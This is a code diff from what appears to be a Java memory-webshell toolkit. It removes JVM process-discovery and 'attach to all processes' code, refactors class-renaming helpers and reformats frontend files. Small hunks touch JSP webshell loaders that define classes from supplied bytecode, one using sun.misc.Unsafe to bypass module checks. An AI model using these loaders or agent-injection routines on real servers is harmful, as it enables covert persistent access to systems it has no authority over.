-        private static final int PERFDATA_MAGIC = 0xcafec0c0;
-
-        /**
-         * The directory name prefix for HotSpot PerfData user directories.
-         */
-        private static final String HSPERFDATA_PREFIX = "hsperfdata_";
-
-        /**
-         * The PerfData entry name for the Java command line.
-         */
-        private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
-
-        /**
-         * The data units value for STRING type entries.
-         */
-        private static final byte UNITS_STRING = 5;
-
-        /**
-         * Maximum PerfData file size to read (1 MB), as a safety bound.
-         */
-        private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
-
-        /**
-         * Minimum PerfData file size (v2 prologue is 32 bytes).
-         */
-        private static final int MIN_PERFDATA_SIZE = 32;
-
-        /**
-         * The size of a PerfData v2 entry header in bytes.
-         */
-        private static final int ENTRY_HEADER_SIZE = 20;
-
-        /**
-         * Discovers all HotSpot JVM processes visible to the current user.
-         *
-         * @return A list of discovered HotSpot Java process descriptors.
-         */
-        static List<JavaProcessDescriptor> discover() {
-            List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
-            Set<String> seen = new HashSet<String>();
-            for (File tmpDir : getTempDirectories()) {
-                if (!tmpDir.isDirectory()) {
-                    continue;
-                }
-                File[] userDirs = tmpDir.listFiles();
-                if (userDirs == null) {
-                    continue;
-                }
-                for (File userDir : userDirs) {
-                    if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
-                        continue;
-                    }
-                    File[] pidFiles = userDir.listFiles();
-                    if (pidFiles == null) {
-                        continue;
-                    }
-                    for (File pidFile : pidFiles) {
-                        String fileName = pidFile.getName();
-                        if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
-                            continue;
-                        }
-                        if (!seen.add(fileName)) {
-                            continue;
-                        }
-                        String javaCommand = parsePerfData(pidFile);
-                        result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
-                    }
-                }
-            }
-            return result;
-        }
-
-        /**
-         * Returns the list of temporary directories to scan for HotSpot PerfData files.
-         * On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
-         * and also {@code java.io.tmpdir} if it differs.
-         *
-         * @return A list of temporary directories.
-         */
-        private static List<File> getTempDirectories() {
-            List<File> dirs = new ArrayList<File>();
-            String osName = System.getProperty("os.name", "");
-            if (osName.startsWith("Windows")) {
-                dirs.add(new File(System.getProperty("java.io.tmpdir")));
-            } else {
-                dirs.add(new File("/tmp"));
-                String javaIoTmpDir = System.getProperty("java.io.tmpdir");
-                if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
-                    dirs.add(new File(javaIoTmpDir));
-                }
-            }
-            return dirs;
-        }
-
-        /**
-         * Parses a HotSpot PerfData v2 binary file to extract the value of
-         * {@code sun.rt.javaCommand}.
-         * <p>
-         * The PerfData v2 binary format consists of a 32-byte prologue followed
-         * by a sequence of variable-length entries. Each entry contains a name
-         * and a data value. This method iterates through entries looking for
-         * the {@code sun.rt.javaCommand} entry.
-         * </p>
-         *
-         * @param file The PerfData file to parse.
-         * @return The value of {@code sun.rt.javaCommand}, or empty string if not found.
-         */
-        private static String parsePerfData(File file) {
-            FileInputStream fis = null;
-            try {
-                fis = new FileInputStream(file);
-                long fileLength = file.length();
-                if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
-                    return "";
-                }
-                byte[] data = new byte[(int) fileLength];
-                int totalRead = 0;
-                int bytesRead;
-                while (totalRead < data.length
-                        && (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
-                    totalRead += bytesRead;
-                }
-                if (totalRead < MIN_PERFDATA_SIZE) {
-                    return "";
-                }
-
-                ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
-                // Magic number is always stored in big-endian
-                buffer.order(ByteOrder.BIG_ENDIAN);
-                int magic = buffer.getInt();             // offset 0
-                if (magic != PERFDATA_MAGIC) {
-                    return "";
-                }
-
-                byte byteOrder = buffer.get();           // offset 4
-                if (byteOrder == 1) {
-                    buffer.order(ByteOrder.LITTLE_ENDIAN);
-                }
-
-                byte majorVersion = buffer.get();        // offset 5
-                buffer.get();                            // offset 6: minor version
-                buffer.get();                            // offset 7: accessible / reserved
-
-                if (majorVersion < 2) {
-                    // Only PerfData v2 format is supported
-                    return "";
-                }
-
-                // v2 prologue fields
-                buffer.getInt();                         // offset 8: used
-                buffer.getInt();                         // offset 12: overflow
-                buffer.getLong();                        // offset 16: mod_time_stamp
-                int entryOffset = buffer.getInt();       // offset 24: entry_offset
-                int numEntries = buffer.getInt();        // offset 28: num_entries
-
-                // Iterate through PerfData entries
-                int pos = entryOffset;
-                for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
-                    buffer.position(pos);
-                    int entryLength = buffer.getInt();
-                    if (entryLength <= 0 || pos + entryLength > totalRead) {
-                        break;
-                    }
-
-                    int nameOffset = buffer.getInt();
-                    buffer.getInt();                     // vector_length
-                    buffer.get();                        // data_type
-                    buffer.get();                        // flags
-                    byte dataUnits = buffer.get();       // data_units
-                    buffer.get();                        // data_variability
-                    int dataOffset = buffer.getInt();
-
-                    // Read the entry name (null-terminated UTF-8 string)
-                    int nameStart = pos + nameOffset;
-                    if (nameStart < 0 || nameStart >= totalRead) {
-                        pos += entryLength;
-                        continue;
-                    }
-                    int nameEnd = nameStart;
-                    while (nameEnd < totalRead && data[nameEnd] != 0) {
-                        nameEnd++;
-                    }
-                    String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
-
-                    if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
-                        // Read the string value
-                        int dataStart = pos + dataOffset;
-                        if (dataStart < 0 || dataStart >= totalRead) {
-                            return "";
-                        }
-                        int dataEnd = dataStart;
-                        while (dataEnd < totalRead && data[dataEnd] != 0) {
-                            dataEnd++;
-                        }
-                        return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
-                    }
-
-                    pos += entryLength;
-                }
-
-                return "";
-            } catch (Exception ignored) {
-                return "";
-            } finally {
-                if (fis != null) {
-                    try {
-                        fis.close();
-                    } catch (IOException ignored) {
-                        /* do nothing */
-                    }
-                }
-            }
-        }
-
-        /**
-         * Checks if a string consists entirely of digit characters.
-         *
-         * @param str The string to check.
-         * @return {@code true} if the string is non-empty and contains only digits.
-         */
-        private static boolean isNumeric(String str) {
-            if (str == null || str.isEmpty()) {
-                return false;
-            }
-            for (int i = 0; i < str.length(); i++) {
-                if (str.charAt(i) < '0' || str.charAt(i) > '9') {
-                    return false;
-                }
-            }
-            return true;
-        }
-
-        /**
-         * Extracts the main class name from a {@code sun.rt.javaCommand} value.
-         * The value format is typically {@code "mainClass arg1 arg2 ..."} or
-         * {@code "/path/to/app.jar arg1 arg2 ..."}. This method returns the
-         * first space-delimited token.
-         *
-         * @param javaCommand The full Java command string.
-         * @return The main class or JAR name, or empty string if input is empty.
-         */
-        private static String extractMainClass(String javaCommand) {
-            if (javaCommand == null || javaCommand.isEmpty()) {
-                return "";
-            }
-            int spaceIndex = javaCommand.indexOf(' ');
-            return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
-        }
-    }
-
-    /**
-     * Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories
-     * and reading {@code attachInfo} property files.
-     */
-    private static class OpenJ9ProcessDiscovery {
-
-        /**
-         * The directory name used by OpenJ9 for attach API information.
-         */
-        private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
-
-        /**
-         * The file name containing process attach information within each VM directory.
-         */
-        private static final String ATTACH_INFO_FILE = "attachInfo";
-
-        /**
-         * Discovers all OpenJ9 JVM processes visible to the current user.
-         *
-         * @return A list of discovered OpenJ9 Java process descriptors.
-         */
-        static List<JavaProcessDescriptor> discover() {
-            List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
-            for (File attachDir : getAttachDirectories()) {
-                if (!attachDir.isDirectory()) {
-                    continue;
-                }
-                File[] vmDirs = attachDir.listFiles();
-                if (vmDirs == null) {
-                    continue;
-                }
-                for (File vmDir : vmDirs) {
-                    if (!vmDir.isDirectory()) {
-                        continue;
-                    }
-                    File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
-                    if (!attachInfo.isFile() || !attachInfo.canRead()) {
-                        continue;
-                    }
-                    FileInputStream fis = null;
-                    try {
-                        Properties props = new Properties();
-                        fis = new FileInputStream(attachInfo);
-                        props.load(fis);
-                        String pid = props.getProperty("processId");
-                        String displayName = props.getProperty("displayName", "");
-                        if (pid != null && pid.length() > 0) {
-                            result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
-                        }
-                    } catch (Exception ignored) {
-                        /* do nothing */
-                    } finally {
-                        if (fis != null) {
-                            try {
-                                fis.close();
-                            } catch (IOException ignored) {
-                                /* do nothing */
-                            }
-                        }
-                    }
-                }
-            }
-            return result;
-        }
-
-        /**
-         * Returns the list of directories to scan for OpenJ9 attach information.
-         * On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
-         * and also {@code java.io.tmpdir} if it differs. Additionally checks the
-         * {@code com.ibm.tools.attach.directory} system property.
-         *
-         * @return A list of attach directories to scan.
-         */
-        private static List<File> getAttachDirectories() {
-            List<File> dirs = new ArrayList<File>();
-            String osName = System.getProperty("os.name", "");
-            if (osName.startsWith("Windows")) {
-                dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
-            } else {
-                dirs.add(new File("/tmp", ATTACH_DIR_NAME));
-                String javaIoTmpDir = System.getProperty("java.io.tmpdir");
-                if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
-                    dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
-                }
-            }
-            String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
-            if (ibmAttachDir != null) {
-                dirs.add(new File(ibmAttachDir));
-            }
-            return dirs;
-        }
-    }
 }

memshell-agent/memshell-agent-attacher/src/main/java/Main.java

@@ -1,46 +1,9 @@
-import java.util.List;
-
 /**
  * @author ReaJason
  * @since 2025/5/16
  */
 public class Main {
-    /**
-     * java -jar attach.jar — 列出所有 Java 进程
-     * java -jar attach.jar <pid> — 注入指定进程
-     * java -jar attach.jar all — 注入所有 Java 进程（自动跳过自身，单个失败不影响其他进程）
-     */
     public static void main(String[] args) throws Exception {
-        if (args.length == 0) {
+        Attacher.attach(args[0]);
-            List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
-            if (processes.isEmpty()) {
-                System.out.println("No Java processes found.");
-            } else {
-                for (Attacher.JavaProcessDescriptor process : processes) {
-                    System.out.println(process);
-                }
-            }
-        } else if ("all".equalsIgnoreCase(args[0])) {
-            List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
-            String currentPid = Attacher.ProcessProvider.ForCurrentVm.INSTANCE.resolve();
-            if (processes.isEmpty()) {
-                System.out.println("No Java processes found.");
-            } else {
-                for (Attacher.JavaProcessDescriptor process : processes) {
-                    if (process.getPid().equals(currentPid)) {
-                        continue;
-                    }
-                    try {
-                        System.out.println("Attaching to " + process + " ...");
-                        Attacher.attach(process.getPid());
-                        System.out.println("  -> Success");
-                    } catch (Exception e) {
-                        System.out.println("  -> Failed: " + e.getMessage());
-                    }
-                }
-            }
-        } else {
-            Attacher.attach(args[0]);
-        }
     }
 }

memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.asm;
 
-import org.jetbrains.annotations.NotNull;
 import org.objectweb.asm.ClassReader;
 import org.objectweb.asm.ClassWriter;
 import org.objectweb.asm.Opcodes;
@@ -15,7 +14,12 @@ import org.objectweb.asm.commons.SimpleRemapper;
 public class ClassRenameUtils {
 
     public static byte[] renameClass(byte[] classBytes, String newName) {
-        ClassReader reader = getClassReader(classBytes);
+        ClassReader reader = null;
+        try {
+            reader = new ClassReader(classBytes);
+        } catch (Exception e) {
+            throw new RuntimeException("invalid class bytes");
+        }
         String oldClassName = reader.getClassName();
         String newClassName = newName.replace('.', '/');
         ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
@@ -25,7 +29,12 @@ public class ClassRenameUtils {
     }
 
     public static byte[] relocateClass(byte[] classBytes, String relocateClassPackage, String relocatePrefix) {
-        ClassReader reader = getClassReader(classBytes);
+        ClassReader reader = null;
+        try {
+            reader = new ClassReader(classBytes);
+        } catch (Exception e) {
+            throw new RuntimeException("invalid class bytes");
+        }
         String oldClassName = relocateClassPackage.replace('.', '/');
         String newClassName = relocatePrefix.replace('.', '/');
         ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS);
@@ -42,32 +51,4 @@ public class ClassRenameUtils {
         reader.accept(adapter, 0);
         return writer.toByteArray();
     }
-
-    public static byte[] relocateJakarta(byte[] classBytes) {
-        ClassReader reader = getClassReader(classBytes);
-        ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS);
-        ClassRemapper adapter = new ClassRemapper(writer, new Remapper(Opcodes.ASM9) {
-            @Override
-            public String map(String typeName) {
-                if (typeName.startsWith("javax/servlet/")
-                        || typeName.startsWith("javax/websocket/")) {
-                    return typeName.replaceFirst("javax", "jakarta");
-                } else {
-                    return typeName;
-                }
-            }
-        });
-        reader.accept(adapter, 0);
-        return writer.toByteArray();
-    }
-
-    private static @NotNull ClassReader getClassReader(byte[] classBytes) {
-        ClassReader reader = null;
-        try {
-            reader = new ClassReader(classBytes);
-        } catch (Exception e) {
-            throw new RuntimeException("invalid class bytes");
-        }
-        return reader;
-    }
 }

packer/src/main/java/com/reajason/javaweb/packer/jar/attach/Attacher.java

@@ -15,7 +15,6 @@ package com.reajason.javaweb.packer.jar.attach;/*
  */
 
 import java.io.File;
-import java.io.FileInputStream;
 import java.io.IOException;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
@@ -23,12 +22,13 @@ import java.net.MalformedURLException;
 import java.net.URISyntaxException;
 import java.net.URL;
 import java.net.URLClassLoader;
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
 import java.security.CodeSource;
 import java.security.PrivilegedAction;
 import java.security.ProtectionDomain;
-import java.util.*;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
 
 /**
  * Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
@@ -53,54 +53,24 @@ public class Attacher {
     }
 
     public static void main(String[] args) throws Exception {
-        if (args.length == 0) {
-            List<JavaProcessDescriptor> processes = listJavaProcesses();
-            if (processes.isEmpty()) {
-                System.out.println("No Java processes found.");
-            } else {
-                for (JavaProcessDescriptor process : processes) {
-                    System.out.println(process);
-                }
-            }
-        } else if ("all".equalsIgnoreCase(args[0])) {
-            List<JavaProcessDescriptor> processes = listJavaProcesses();
-            String currentPid = ProcessProvider.ForCurrentVm.INSTANCE.resolve();
-            if (processes.isEmpty()) {
-                System.out.println("No Java processes found.");
-            } else {
-                for (JavaProcessDescriptor process : processes) {
-                    if (process.getPid().equals(currentPid)) {
-                        continue;
-                    }
-                    try {
-                        System.out.println("Attaching to " + process + " ...");
-                        doAttach(process.getPid());
-                        System.out.println("  -> Success");
-                    } catch (Exception e) {
-                        System.out.println("  -> Failed: " + e.getMessage());
-                        e.printStackTrace();
-                    }
-                }
-            }
-        } else {
-            doAttach(args[0]);
-            System.out.println("ok");
-        }
-    }
-
-    private static void doAttach(String processId) {
         try {
-            Attacher.attach(processId);
+            Attacher.attach(args[0]);
         } catch (Exception e) {
-            Throwable currentCause = e;
+            if (!e.getMessage().equals("0")) {
-            while (currentCause != null) {
+                Throwable cause = e.getCause();
-                if ("0".equals(currentCause.getMessage())) {
+                if (cause != null) {
-                    return;
+                    if (!cause.getMessage().equals("0")) {
+                        cause = e.getCause();
+                        if (cause != null) {
+                            if (!cause.getMessage().equals("0")) {
+                                throw e;
+                            }
+                        }
+                    }
                 }
-                currentCause = currentCause.getCause();
             }
-            throw (RuntimeException) e;
         }
+        System.out.println("ok");
     }
 
     /**
@@ -142,30 +112,6 @@ public class Attacher {
         install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
     }
 
-    /**
-     * <p>
-     * Lists all discoverable Java processes on the local host.
-     * Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
-     * </p>
-     *
-     * @return A list of discovered Java process descriptors.
-     */
-    public static List<JavaProcessDescriptor> listJavaProcesses() {
-        List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
-        Set<String> seenPids = new HashSet<String>();
-        for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
-            if (seenPids.add(descriptor.getPid())) {
-                processes.add(descriptor);
-            }
-        }
-        for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
-            if (seenPids.add(descriptor.getPid())) {
-                processes.add(descriptor);
-            }
-        }
-        return processes;
-    }
-
     /**
      * Installs a Java agent on a target VM.
      *
@@ -1003,300 +949,4 @@ public class Attacher {
             }
         }
     }
-
-    /**
-     * Represents a discovered Java process on the local host.
-     */
-    public static class JavaProcessDescriptor {
-
-        private final String pid;
-        private final String mainClass;
-        private final String vmType;
-
-        public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
-            this.pid = pid;
-            this.mainClass = mainClass;
-            this.vmType = vmType;
-        }
-
-        public String getPid() {
-            return pid;
-        }
-
-        public String getMainClass() {
-            return mainClass;
-        }
-
-        public String getVmType() {
-            return vmType;
-        }
-
-        @Override
-        public String toString() {
-            StringBuilder sb = new StringBuilder();
-            sb.append(pid);
-            if (mainClass.length() > 0) {
-                sb.append(' ').append(mainClass);
-            }
-            sb.append(" (").append(vmType).append(')');
-            return sb.toString();
-        }
-    }
-
-    /**
-     * Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories.
-     */
-    private static class HotSpotProcessDiscovery {
-
-        private static final int PERFDATA_MAGIC = 0xcafec0c0;
-        private static final String HSPERFDATA_PREFIX = "hsperfdata_";
-        private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
-        private static final byte UNITS_STRING = 5;
-        private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
-        private static final int MIN_PERFDATA_SIZE = 32;
-        private static final int ENTRY_HEADER_SIZE = 20;
-
-        static List<JavaProcessDescriptor> discover() {
-            List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
-            Set<String> seen = new HashSet<String>();
-            for (File tmpDir : getTempDirectories()) {
-                if (!tmpDir.isDirectory()) {
-                    continue;
-                }
-                File[] userDirs = tmpDir.listFiles();
-                if (userDirs == null) {
-                    continue;
-                }
-                for (File userDir : userDirs) {
-                    if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
-                        continue;
-                    }
-                    File[] pidFiles = userDir.listFiles();
-                    if (pidFiles == null) {
-                        continue;
-                    }
-                    for (File pidFile : pidFiles) {
-                        String fileName = pidFile.getName();
-                        if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
-                            continue;
-                        }
-                        if (!seen.add(fileName)) {
-                            continue;
-                        }
-                        String javaCommand = parsePerfData(pidFile);
-                        result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
-                    }
-                }
-            }
-            return result;
-        }
-
-        private static List<File> getTempDirectories() {
-            List<File> dirs = new ArrayList<File>();
-            String osName = System.getProperty("os.name", "");
-            if (osName.startsWith("Windows")) {
-                dirs.add(new File(System.getProperty("java.io.tmpdir")));
-            } else {
-                dirs.add(new File("/tmp"));
-                String javaIoTmpDir = System.getProperty("java.io.tmpdir");
-                if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
-                    dirs.add(new File(javaIoTmpDir));
-                }
-            }
-            return dirs;
-        }
-
-        private static String parsePerfData(File file) {
-            FileInputStream fis = null;
-            try {
-                fis = new FileInputStream(file);
-                long fileLength = file.length();
-                if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
-                    return "";
-                }
-                byte[] data = new byte[(int) fileLength];
-                int totalRead = 0;
-                int bytesRead;
-                while (totalRead < data.length
-                        && (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
-                    totalRead += bytesRead;
-                }
-                if (totalRead < MIN_PERFDATA_SIZE) {
-                    return "";
-                }
-
-                ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
-                buffer.order(ByteOrder.BIG_ENDIAN);
-                int magic = buffer.getInt();
-                if (magic != PERFDATA_MAGIC) {
-                    return "";
-                }
-
-                byte byteOrder = buffer.get();
-                if (byteOrder == 1) {
-                    buffer.order(ByteOrder.LITTLE_ENDIAN);
-                }
-
-                byte majorVersion = buffer.get();
-                buffer.get(); // minor version
-                buffer.get(); // accessible / reserved
-
-                if (majorVersion < 2) {
-                    return "";
-                }
-
-                buffer.getInt();  // used
-                buffer.getInt();  // overflow
-                buffer.getLong(); // mod_time_stamp
-                int entryOffset = buffer.getInt();
-                int numEntries = buffer.getInt();
-
-                int pos = entryOffset;
-                for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
-                    buffer.position(pos);
-                    int entryLength = buffer.getInt();
-                    if (entryLength <= 0 || pos + entryLength > totalRead) {
-                        break;
-                    }
-
-                    int nameOffset = buffer.getInt();
-                    buffer.getInt(); // vector_length
-                    buffer.get();    // data_type
-                    buffer.get();    // flags
-                    byte dataUnits = buffer.get();
-                    buffer.get();    // data_variability
-                    int dataOffset = buffer.getInt();
-
-                    int nameStart = pos + nameOffset;
-                    if (nameStart < 0 || nameStart >= totalRead) {
-                        pos += entryLength;
-                        continue;
-                    }
-                    int nameEnd = nameStart;
-                    while (nameEnd < totalRead && data[nameEnd] != 0) {
-                        nameEnd++;
-                    }
-                    String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
-
-                    if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
-                        int dataStart = pos + dataOffset;
-                        if (dataStart < 0 || dataStart >= totalRead) {
-                            return "";
-                        }
-                        int dataEnd = dataStart;
-                        while (dataEnd < totalRead && data[dataEnd] != 0) {
-                            dataEnd++;
-                        }
-                        return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
-                    }
-
-                    pos += entryLength;
-                }
-
-                return "";
-            } catch (Exception ignored) {
-                return "";
-            } finally {
-                if (fis != null) {
-                    try {
-                        fis.close();
-                    } catch (IOException ignored) {
-                        /* do nothing */
-                    }
-                }
-            }
-        }
-
-        private static boolean isNumeric(String str) {
-            if (str == null || str.isEmpty()) {
-                return false;
-            }
-            for (int i = 0; i < str.length(); i++) {
-                if (str.charAt(i) < '0' || str.charAt(i) > '9') {
-                    return false;
-                }
-            }
-            return true;
-        }
-
-        private static String extractMainClass(String javaCommand) {
-            if (javaCommand == null || javaCommand.isEmpty()) {
-                return "";
-            }
-            int spaceIndex = javaCommand.indexOf(' ');
-            return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
-        }
-    }
-
-    /**
-     * Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories.
-     */
-    private static class OpenJ9ProcessDiscovery {
-
-        private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
-        private static final String ATTACH_INFO_FILE = "attachInfo";
-
-        static List<JavaProcessDescriptor> discover() {
-            List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
-            for (File attachDir : getAttachDirectories()) {
-                if (!attachDir.isDirectory()) {
-                    continue;
-                }
-                File[] vmDirs = attachDir.listFiles();
-                if (vmDirs == null) {
-                    continue;
-                }
-                for (File vmDir : vmDirs) {
-                    if (!vmDir.isDirectory()) {
-                        continue;
-                    }
-                    File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
-                    if (!attachInfo.isFile() || !attachInfo.canRead()) {
-                        continue;
-                    }
-                    FileInputStream fis = null;
-                    try {
-                        Properties props = new Properties();
-                        fis = new FileInputStream(attachInfo);
-                        props.load(fis);
-                        String pid = props.getProperty("processId");
-                        String displayName = props.getProperty("displayName", "");
-                        if (pid != null && pid.length() > 0) {
-                            result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
-                        }
-                    } catch (Exception ignored) {
-                        /* do nothing */
-                    } finally {
-                        if (fis != null) {
-                            try {
-                                fis.close();
-                            } catch (IOException ignored) {
-                                /* do nothing */
-                            }
-                        }
-                    }
-                }
-            }
-            return result;
-        }
-
-        private static List<File> getAttachDirectories() {
-            List<File> dirs = new ArrayList<File>();
-            String osName = System.getProperty("os.name", "");
-            if (osName.startsWith("Windows")) {
-                dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
-            } else {
-                dirs.add(new File("/tmp", ATTACH_DIR_NAME));
-                String javaIoTmpDir = System.getProperty("java.io.tmpdir");
-                if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
-                    dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
-                }
-            }
-            String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
-            if (ibmAttachDir != null) {
-                dirs.add(new File(ibmAttachDir));
-            }
-            return dirs;
-        }
-    }
 }

packer/src/main/resources/memshell-party/shell.jsp

@@ -4,7 +4,7 @@
             super(classLoader);
         }
 
-        public Class defineClass(byte[] code) {
+        public Class<?> defineClass(byte[] code) {
             return defineClass(null, code, 0, code.length);
         }
     }

packer/src/main/resources/memshell-party/shell.jspx

@@ -6,7 +6,7 @@
             public ClassDefiner(ClassLoader classLoader) {
                 super(classLoader);
             }
-            public Class defineClass(byte[] code) {
+            public Class<?> defineClass(byte[] code) {
                 return defineClass(null, code, 0, code.length);
             }
         }

packer/src/main/resources/memshell-party/shell2.jsp

@@ -4,7 +4,7 @@
     long offset = 48;
     java.lang.reflect.Method getAndSetObjectM = null;
     try {
-        Class unsafeClass = Class.forName("sun.misc.Unsafe");
+        Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
         java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
         unsafeField.setAccessible(true);
         unsafe = unsafeField.get(null);
@@ -28,7 +28,7 @@
     }
     java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
     defMethod.setAccessible(true);
-    Class clazz = (Class) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
+    Class<?> clazz = (Class<?>) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
     if (getAndSetObjectM != null) {
         getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
     }

web/.oxfmtrc.json

@@ -1,20 +0,0 @@
-{
-  "$schema": "./node_modules/oxfmt/configuration_schema.json",
-  "experimentalTailwindcss": {
-    "stylesheet": "./app/app.css",
-    "attributes": ["class", "className"],
-    "functions": ["clsx", "cn"],
-    "preserveWhitespace": true
-  },
-  "ignorePatterns": [],
-  "sortImports": {
-    "newlinesBetween": true,
-    "groups": [
-      "type-import",
-      ["value-builtin", "value-external"],
-      "value-internal",
-      ["value-parent", "value-sibling", "value-index"],
-      "unknown"
-    ]
-  }
-}

web/.oxlintrc.json

@@ -1,12 +0,0 @@
-{
-  "$schema": "./node_modules/oxlint/configuration_schema.json",
-  "rules": {
-    "no-unused-vars": [
-      "warn",
-      {
-        "args": "none",
-        "varsIgnorePattern": "^_"
-      }
-    ]
-  }
-}

web/app/app.css

@@ -3,14 +3,6 @@
 @import "fumadocs-ui/css/shadcn.css";
 @import "fumadocs-ui/css/preset.css";
 
-html {
-  scrollbar-gutter: stable;
-}
-
-html:has(body[data-scroll-locked]) {
-  scrollbar-gutter: auto;
-}
-
 :root {
   --radius: 0.625rem;
   --background: oklch(1 0 0);

web/app/components/code-viewer.tsx

@@ -1,14 +1,18 @@
 import type { VariantProps } from "class-variance-authority";
-
 import { Check, Copy } from "lucide-react";
-import { type HTMLProps, type ReactNode, useCallback, useEffect, useState } from "react";
+import {
+  type HTMLProps,
+  type ReactNode,
+  useCallback,
+  useEffect,
+  useState,
+} from "react";
 import CopyToClipboard from "react-copy-to-clipboard";
 import { useTranslation } from "react-i18next";
 import { PrismLight as SyntaxHighlighter } from "react-syntax-highlighter";
 import java from "react-syntax-highlighter/dist/esm/languages/prism/java";
 import materialDark from "react-syntax-highlighter/dist/esm/styles/prism/material-dark";
 import { toast } from "sonner";
-
 import { Button, type buttonVariants } from "@/components/ui/button";
 import { cn } from "@/lib/utils";
 
@@ -64,13 +68,17 @@ export default function CodeViewer({
   showLineNumbers = true,
   wrapLongLines = true,
 }: Readonly<CodeViewerProps>) {
-  const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined = wrapLongLines
+  const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined =
-    ? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
+    wrapLongLines
-    : undefined;
+      ? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
+      : undefined;
   return (
     <div className="rounded-lg border">
       <div
-        className={cn("flex items-center justify-end border-b p-2", header && "justify-between")}
+        className={cn(
+          "flex items-center border-b p-2 justify-end",
+          header && "justify-between",
+        )}
       >
         {header}
         <div className="flex items-center gap-2">
